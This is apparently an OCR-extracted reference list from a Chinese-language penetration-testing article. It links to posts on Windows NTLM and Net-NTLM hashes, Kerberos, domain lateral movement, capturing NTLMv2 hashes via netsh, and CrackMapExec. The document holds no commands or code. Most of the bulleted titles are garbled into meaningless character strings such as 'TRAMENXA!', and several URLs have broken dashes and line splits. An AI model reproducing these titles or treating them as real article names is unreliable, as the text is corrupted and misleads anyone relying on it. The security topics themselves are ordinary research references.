e https://blog.csdn.net/qq_27446553/article/details/73635108
o TRAMENXA!

o TEIEAE Windows JAIE

o Windows ZEIAIEZNEIH#ITAI? INTLM fE]

e Windows THISMIRIE—NTLM F Kerberos

o EBEZERFEL]

e https://blog.csdn.net/pyphrb/article/details/52051321

e Windows THIZERS hash—-NTLM-hash #1 Net-NTLM-hash 143

o BIERIT - M A netsh HMEVER AR5 2389 NTLMv2-Hash


https://www.secpulse.com/archives/72190.html
https://docs.microsoft.com/zh-cn/windows/desktop/SecAuthN/microsoft-ntlm
http://www.cnblogs.com/xwdreamer/archive/2012/08/23/2652541.html
https://www.freebuf.com/articles/database/70395.html
https://blog.csdn.net/qq_27446553/article/details/73635108
https://zhidao.baidu.com/question/1845749.html
https://payloads.online/archivers/2018-11-30/1
https://www.cnblogs.com/artech/archive/2011/01/25/NTLM.html
https://blog.csdn.net/yangxin114/article/details/8112018
http://xnianq.cn/2018/10/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E4%B9%8B%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/
https://blog.csdn.net/pyphrb/article/details/52051321
https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8netsh%E6%8A%93%E5%8F%96%E8%BF%9E%E6%8E%A5%E6%96%87%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84NTLMv2-Hash/

e https://blog.csdn.net/Fly_hps/article/details/80641938

e https://byt3bl33d3r.github.io/getting—the—goods-with—crackmapexec—part—
2.html

e https://byt3bl33d3r.github.io/getting—the-goods—with—-crackmapexec—part-
1.html


https://blog.csdn.net/Fly_hps/article/details/80641938
https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html
https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html

